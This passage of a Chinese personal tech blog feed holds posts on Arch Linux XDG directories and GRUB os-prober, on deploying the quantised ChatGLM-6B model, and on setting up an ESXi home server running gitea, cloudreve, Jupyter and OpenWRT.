href=\"https://wiki.archlinux.org/title/XDG_Base_Directory\"\u003e1\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_user_directories\"\u003e的一部分,该规范定义了一些标准的用户目录,如音乐、图片、下载等,以及一些用于存储配置、缓存、数据和状态的目录。XDG_DESKTOP_DIR的默认值是$HOME/Desktop,但用户可以通过编辑~/.config/user-dirs.dirs文件或使用xdg-user-dirs-update命令来修改它\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/XDG_user_directories\"\u003e2\u003c/a\u003e。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://wiki.archlinux.org/title/Desktop_entries\"\u003eKDE桌面环境遵循XDG Base Directory规范,并使用XDG_DESKTOP_DIR变量来确定桌面文件夹的位置。如果用户更改了XDG_DESKTOP_DIR的值,KDE会自动更新桌面设置,并将桌面文件夹更改为新的位置。这样,用户可以灵活地管理自己的桌面文件夹,而不影响其他应用程序或桌面环境\u003c/a\u003e\u003ca href=\"https://wiki.archlinux.org/title/Desktop_entries\"\u003e3\u003c/a\u003e。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e所以出问题的话看看\u003ccode\u003e.config\u003c/code\u003e底下配置炸没炸就行。\u003c/p\u003e\u003ch2 id=\"添加多系统启动项\"\u003e\u003ca href=\"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/#%E6%B7%BB%E5%8A%A0%E5%A4%9A%E7%B3%BB%E7%BB%9F%E5%90%AF%E5%8A%A8%E9%A1%B9\" class=\"headerlink\" title=\"添加多系统启动项\"\u003e\u003c/a\u003e添加多系统启动项\u003c/h2\u003e\u003cp\u003e在安装Arch的时候,会发现中间有一步是\u003ccode\u003esudo vim /etc/default/grub\u003c/code\u003e然后\u003ccode\u003egrub-mkconfig -o /boot/grub/grub.cfg\u003c/code\u003e。这一步就是先编辑grub的配置,然后生成grub文件到\u003ccode\u003e/boot/grub/\u003c/code\u003e下的配置文件中。因此,我们如果突然心血来潮想装个Windows玩玩\u003cdel\u003e谁装啊\u003c/del\u003e,就可以改改grub配置让它为我们添加启动项。\u003c/p\u003e\u003cp\u003e因为最终的配置项是由\u003ccode\u003egrub-mkconfig\u003c/code\u003e生成的,所以并不推荐直接修改这个文件。更好的做法是安装\u003ccode\u003eos-prober\u003c/code\u003e,然后挂载其他系统的分区,并编辑grub配置文件启用os探测,最后再用\u003ccode\u003egrub-mkconfig\u003c/code\u003e生成新的grub启动项文件。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e至于为啥grub现在默认禁用掉了os-prober,注释里边说的是因为安全问题所以禁用掉了。\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/09/05/arch-linux%E6%8A%98%E8%85%BE%E7%AC%94%E8%AE%B0/"},{"title":"ChatGLM部署手记","time":"2023-08-22T17:20:56Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e这次部署了一次量化后的模型,大概记录一下部署过程和遇到的问题。\u003c/p\u003e\u003cp\u003e因为显卡显存只有8G,所以部署的是6b的int4量化模型。\u003c/p\u003e\u003ch2 id=\"部署\"\u003e\u003ca href=\"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/#%E9%83%A8%E7%BD%B2\" class=\"headerlink\" title=\"部署\"\u003e\u003c/a\u003e部署\u003c/h2\u003e\u003cp\u003e一般是直接从Hugging Face克隆仓库下来。我当时担心速度不够从清华云盘下载的,不过后来克隆发现速度很快,一般应该是不用担心下载速度的。\u003c/p\u003e\u003cp\u003e首先克隆6b的仓库,然后进入仓库安装依赖:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit \u003cspan class=\"built_in\"\u003eclone\u003c/span\u003e https://github.com/THUDM/ChatGLM-6B \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ecd\u003c/span\u003e ChatGLM-6B\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003epip install -r requirements.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后下载ChatGLM-6B的模型的量化版本。注意,\u003cstrong\u003e一定要下载所有的文件\u003c/strong\u003e。如果clone不下来,就先把其他小文件下下来,然后在清华网盘下载模型本体:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egit \u003cspan class=\"built_in\"\u003eclone\u003c/span\u003e https://huggingface.co/THUDM/chatglm-6b-int4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 量化版本地址:https://cloud.tsinghua.edu.cn/d/674208019e314311ab5c/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成后,更改cli-demo.py和webui-demo.py中的\u003ccode\u003eTHUDM/chatglm-6b-int4\u003c/code\u003e为你本地的路径:\u003ccode\u003e/path/to/chatglm-6b-int4\u003c/code\u003e即可。\u003c/p\u003e\u003cp\u003e最后,使用python运行即可:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003epython3 webui-demo.py\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/#%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"问题\"\u003e\u003c/a\u003e问题\u003c/h2\u003e\u003cp\u003e如果报错的话,可能是缺少 tokenizer 的相关文件:tokenizer_config.json、special_tokens_map.json、tokenization_chatglm.py 和 ice_text.model。将这些文件(位于你下载的模型的目录中)补全即可解决。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/08/22/ChatGLM%E9%83%A8%E7%BD%B2%E6%89%8B%E8%AE%B0/"},{"title":"ESXi折腾小记","time":"2023-07-21T12:32:36Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"序\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E5%BA%8F\" class=\"headerlink\" title=\"序\"\u003e\u003c/a\u003e序\u003c/h2\u003e\u003cp\u003e其实理论上这玩意早都折腾好了。\u003c/p\u003e\u003cp\u003e只不过不满意于当时的家用板子(B450MK+1500X)对于ESXi兼容性太差,后来又换回了Windows+VMWare的组合。这组合咋用咋不爽,所以最后攒了点钱,整了一套服务器平台(联想的X99板子+E5 2680V4 x2+16G DDR4 ECC,一共大概600大洋),不过因为一些原因拖到最近才空出时间调试好。\u003c/p\u003e\u003ch2 id=\"硬件\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%A1%AC%E4%BB%B6\" class=\"headerlink\" title=\"硬件\"\u003e\u003c/a\u003e硬件\u003c/h2\u003e\u003cp\u003e本来机子6月已经装好了,但是一直处于开机不亮屏的状态。昨个跟卖家唠嗑了老久,调试了半天才发现这板子好像只知道集成显卡输出,就好像它不知道自己上边还插着个1080一样。\u003c/p\u003e\u003cp\u003e没办法,集显就集显吧,反正确实能用,还能省点电呢(=。=)\u003c/p\u003e\u003cp\u003e进了U盘,启动ESXi镜像,直接开装。因为是服务器板子,所以不用担心网卡支持之类的问题,反正很顺利地装完了。旁边的弱电柜看着挺好,里边还有个交换机来着,但是看到那密密麻麻的走线,折腾了一下就放弃了(而且这玩意要管理还得插串口线,笑死,根本找不到)。\u003c/p\u003e\u003cp\u003e于是直接把机器插到路由器上了。千兆网,爽死。\u003c/p\u003e\u003cp\u003e整好网络配置之后已经很晚了,遂直接回宿舍,来日再整。\u003c/p\u003e\u003ch2 id=\"系统\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%B3%BB%E7%BB%9F\" class=\"headerlink\" title=\"系统\"\u003e\u003c/a\u003e系统\u003c/h2\u003e\u003cp\u003e昨天才装好ESXi,今天下午急冲冲跑到实验室装好了Ubuntu,然后想整个OpenWRT当旁路由,但是发现目前还没啥必要,于是作罢,就用Ubuntu直接开始吧(反正比Windows好\u003c/p\u003e\u003cp\u003e随便装了装软件啥的。先是试着用刚学的sed给apt换了个源,然后装了docker,zip啥的。有了docker之后,直接把笔记本上的mc服务器扔了上去+docker run光速部署。真香。\u003c/p\u003e\u003cp\u003e然后慢慢折腾回以前的服务。首先是gitea,1.20居然都支持ci/cd了,这不狠狠部署?但是我以前的数据还在硬盘上扔着,于是先整了下物理硬盘的vhd映射。下面记录一下:\u003c/p\u003e\u003cp\u003e打开ESXi的SecureSHell(ssh)服务之后,用它的管理账户密码登录上去,然后运行\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003els\u003c/span\u003e /vmfs/devices/disks/\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e查看系统挂载的硬盘信息:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST2000DM0052D2CW102__________________________________WFL1DE7T\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST2000DM0052D2CW102__________________________________WFL1DE7T:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST2000DM0052D2CW102__________________________________WFL1DE7T:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST4000VX0002D2AG166__________________________________ZDHA1DHG\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST4000VX0002D2AG166__________________________________ZDHA1DHG:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.ATA_____ST4000VX0002D2AG166__________________________________ZDHA1DHG:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003et10.NVMe____ORICO_V500_128GB________________________0000000000000001:9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.010000000020202020202020202020202057464c3144453754535432303030\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.010000000020202020202020202020202057464c3144453754535432303030:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.010000000020202020202020202020202057464c3144453754535432303030:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.01000000002020202020202020202020205a44484131444847535434303030\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.01000000002020202020202020202020205a44484131444847535434303030:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.01000000002020202020202020202020205a44484131444847535434303030:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003evml.0100000000303030305f303030305f303030305f30303031004f5249434f20:9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后找到硬盘对应的编号,然后用\u003ccode\u003evmkfstools\u003c/code\u003e把硬盘映射到vhd文件里:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003evmkfstools -z /vmfs/devices/disks/[target disk] /vmfs/voluems/datastore1/[target vhd \u003cspan class=\"built_in\"\u003elink\u003c/span\u003e name].vmdk\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e完成之后,在虚拟机编辑里添加硬盘,选择现有硬盘,在里边找到刚才新建的两个硬盘映射vhd文件。\u003c/p\u003e\u003cp\u003e挂载到虚拟机上之后,开机,我们还得把硬盘挂载到系统上。\u003c/p\u003e\u003cp\u003e硬盘加到虚拟机上之后,一般会以\u003ccode\u003e/dev/sd[a-z]\u003c/code\u003e的形式出现,这种时候只需要用\u003ccode\u003efdisk\u003c/code\u003e康康磁盘上有什么好康的分区就行啦。不过我这盘好像被Windows的快速启动污染了,得先在Windows里挂载一下,正常关机才能挂载到Linux底下。\u003c/p\u003e\u003cp\u003e所以,现在本来要装Windows来着,但是突然发现Vmware里边有个叫上载虚拟机的东东:\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230721220805.png\"/\u003e\u003c/p\u003e\u003cp\u003e然后就懒得装了,直接把以前的老虚拟机传上去了。开机前设置下硬盘挂载,然后直接开机再关机,搞定。\u003c/p\u003e\u003cp\u003e配置完成之后,发现果然还是另外整个系统当frp的客户端比较稳定。挑了半天发现还是OpenWRT最方便,于是在\u003ca href=\"https://supes.top/?target=x86/64\u0026amp;id=generic\"\u003eOpenWrt软路由固件下载与在线定制编译\u003c/a\u003e这里下了个x86架构的编译版本装上了。启动之后应该就能正常访问了,就是得先配置下网络的配置文件(我这边为了网络环境方便访问,配置的是bridge桥接模式,所以得手动重新设置网关、地址之类的)。配置相关的内容,恩山有不少内容可以参考。\u003c/p\u003e\u003cp\u003e总之一番折腾下来配好旁路由和内网穿透\u003cdel\u003e以及基本不咋用的局域网代理\u003c/del\u003e之后,折腾就基本结束了\u003c/p\u003e\u003cp\u003e直到我发现安装系统选项底下有个MacOS。装都装了,不试试怎么行呢(不过据了解,黑果在ESXi虚拟化环境下体验不行,更建议物理机\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eTODO:等啥时候加个ssd扩容系统盘再说吧。。空间居然不够用了\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"服务\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%9C%8D%E5%8A%A1\" class=\"headerlink\" title=\"服务\"\u003e\u003c/a\u003e服务\u003c/h2\u003e\u003cp\u003e折腾好服务器了,就得想想作何用途了。整理出来的大概有这些:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003eService\u003c/th\u003e\u003cth\u003eDescription\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003egitea\u003c/td\u003e\u003ctd\u003e代码托管和CI/CD\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ecloudreve\u003c/td\u003e\u003ctd\u003e私有云,数据管理以及WebDAV数据备份同步\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eminecraft\u003c/td\u003e\u003ctd\u003e这肯定必装啊,大型开放世界游戏(无误\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ejupyter\u003c/td\u003e\u003ctd\u003e都装N卡了,不玩玩深度学习?\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003edatabase\u003c/td\u003e\u003ctd\u003e当Web服务后端,香就一个字\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ecompile\u003c/td\u003e\u003ctd\u003e这可是56线程啊,我以后写个helloworld都要\u003ccode\u003emake -j56\u003c/code\u003e(大声\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ecalculate\u003c/td\u003e\u003ctd\u003e渲染和其他计算任务倒是可以试试丢上来跑\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003evm server\u003c/td\u003e\u003ctd\u003e给别人也整几个虚拟机用用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eweb services\u003c/td\u003e\u003ctd\u003e挂点WEB服务上去,岂不美哉\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003emirror site\u003c/td\u003e\u003ctd\u003e整个镜像站,功德无量啊功德无量\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eothers\u003c/td\u003e\u003ctd\u003e后面再想\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cblockquote\u003e\u003cp\u003e先配服务器再想应用场景,有一种先射击再瞄准的美\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e目前搭建的基本就是\u003ccode\u003egitea, mc, cloudreve, jupyter, mysql\u003c/code\u003e这几个,后台还跑着一些运维脚本,目前这些已吃完我的内存了QAQ。总之简述下搭建流程吧。毕竟是个blog不是manual,就不贴太详细的步骤了。如果给出了指令,请确保在理解的情况下,按照真实系统环境执行。\u003c/p\u003e\u003cul\u003e\u003cli\u003egitea\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这个搭建起来很简单,直接wget最新的build到你要安装的目录,然后把官方的service配置cat到\u003ccode\u003e/etc/systemd/system/gitea.service\u003c/code\u003e,再\u003ccode\u003esudo systemctl enable --now gitea.service\u003c/code\u003e,之后再在给出的Web链接里配置好服务,最后修改好\u003ccode\u003econfig.ini\u003c/code\u003e再重启服务就好了。\u003c/p\u003e\u003cp\u003e这东西我最喜欢的点是支持WebDAV,所以配合上AutoSync之类的客户端,就能实现数据增量备份和同步。\u003c/p\u003e\u003cul\u003e\u003cli\u003ecloudreve\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e跟上面基本一样,先wget下来,再运行一下产生配置文件并修改好设置,并配置好systemd的服务管理,最后启动就行。不过,安装完成后,还得配置下\u003cstrong\u003e存储策略\u003c/strong\u003e来确定文件存储的物理位置,并在用户组中修改每种用户的空间限额大小和权限等。\u003c/p\u003e\u003cul\u003e\u003cli\u003eMinecraft\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e喜闻乐见的MC时间。这边我是用Docker开服的,环境最干净,并且最方便于管理。具体参考以前写过的Docker-MC开服的博文。\u003c/p\u003e\u003cul\u003e\u003cli\u003eJupyter\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e直接\u003ccode\u003epython3 -m pip install jupyterlab\u003c/code\u003e或者用\u003ccode\u003eapt, pacman\u003c/code\u003e之类的包管理器安装就行。装完了照着上面的在systemd把它添加为服务就行。装好之后,直接浏览器访问端口使用就行了。\u003c/p\u003e\u003cul\u003e\u003cli\u003edatabase\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e刚好这边有个项目得用数据库,所以就用docker开了个mysql的daemon当数据库。不得不说是真的方便\u003c/p\u003e\u003cul\u003e\u003cli\u003eCompiling Service\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这部分我是用gitea-action搞定的。其他时候,我一般直接ssh到服务器上手动编译。不过注意,\u003cstrong\u003e服务器的稳定性至关重要\u003c/strong\u003e,别随便跑啥若治脚本把服务器玩炸了。数据可靠性很关键。特别是当你的服务器还挂了一堆存着重要数据的硬盘,要是真手欠\u003ccode\u003erm -rf\u003c/code\u003e了你哭都没地方去。所以建议这种任务通通扔docker,反正没啥性能损失。\u003c/p\u003e\u003cul\u003e\u003cli\u003eCalculation\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e用JupyterLab能搞定一部分\u003cdel\u003e反正他们数据科学的基本全是python\u003c/del\u003e,另一部分相对需求较小的,就直接跑专门的计算进程算了。\u003c/p\u003e\u003cul\u003e\u003cli\u003eVM Servers\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e打算先搓个轮子,然后基于这个轮子整个自动new container并绑定账号和tty的web service。安全性问题后面再说,这些机器可以用来租借或者提供给其他人学习使用。\u003c/p\u003e\u003cul\u003e\u003cli\u003eWeb Services\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比如可以把\u003ccode\u003eXDU-ISC\u003c/code\u003e的主页/blog挂上去,或者挂点其他Web服务,比如自动打卡之类的。\u003c/p\u003e\u003cul\u003e\u003cli\u003eMirror Site\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e给各种大型镜像源整个分流,分担下压力造福开源——不过我这点硬盘容量就算了罢。\u003c/p\u003e\u003cp\u003e其他服务的话,比如我写的NanoOJ就可以挂上去给搞算法竞赛的\u003cdel\u003e小东西\u003c/del\u003e们训练用,也可以把我写那个XDU-Planet挂上去,聚合大家的博客\u003cdel\u003e黑历史\u003c/del\u003e博文,还能整点其他的花活。\u003c/p\u003e\u003cp\u003e总之,充分利用嘛。\u003c/p\u003e\u003ch2 id=\"运维\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E8%BF%90%E7%BB%B4\" class=\"headerlink\" title=\"运维\"\u003e\u003c/a\u003e运维\u003c/h2\u003e\u003cp\u003e服务器的躯体是硬件,灵魂是数据。物理上的安全备份这里先不论,这里主要说说数据上的安全和管理。\u003c/p\u003e\u003ch3 id=\"数据安全\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E6%95%B0%E6%8D%AE%E5%AE%89%E5%85%A8\" class=\"headerlink\" title=\"数据安全\"\u003e\u003c/a\u003e数据安全\u003c/h3\u003e\u003cp\u003e磁盘上的数据无非就程序,配置和存储的重要数据文件这三类,下面分开说。\u003c/p\u003e\u003ch4 id=\"程序\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E6%93%8D%E4%BD%9C%E7%B3%BB%E7%BB%9F/ESXi%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0/#%E7%A8%8B%E5%BA%8F\" class=\"headerlink\" 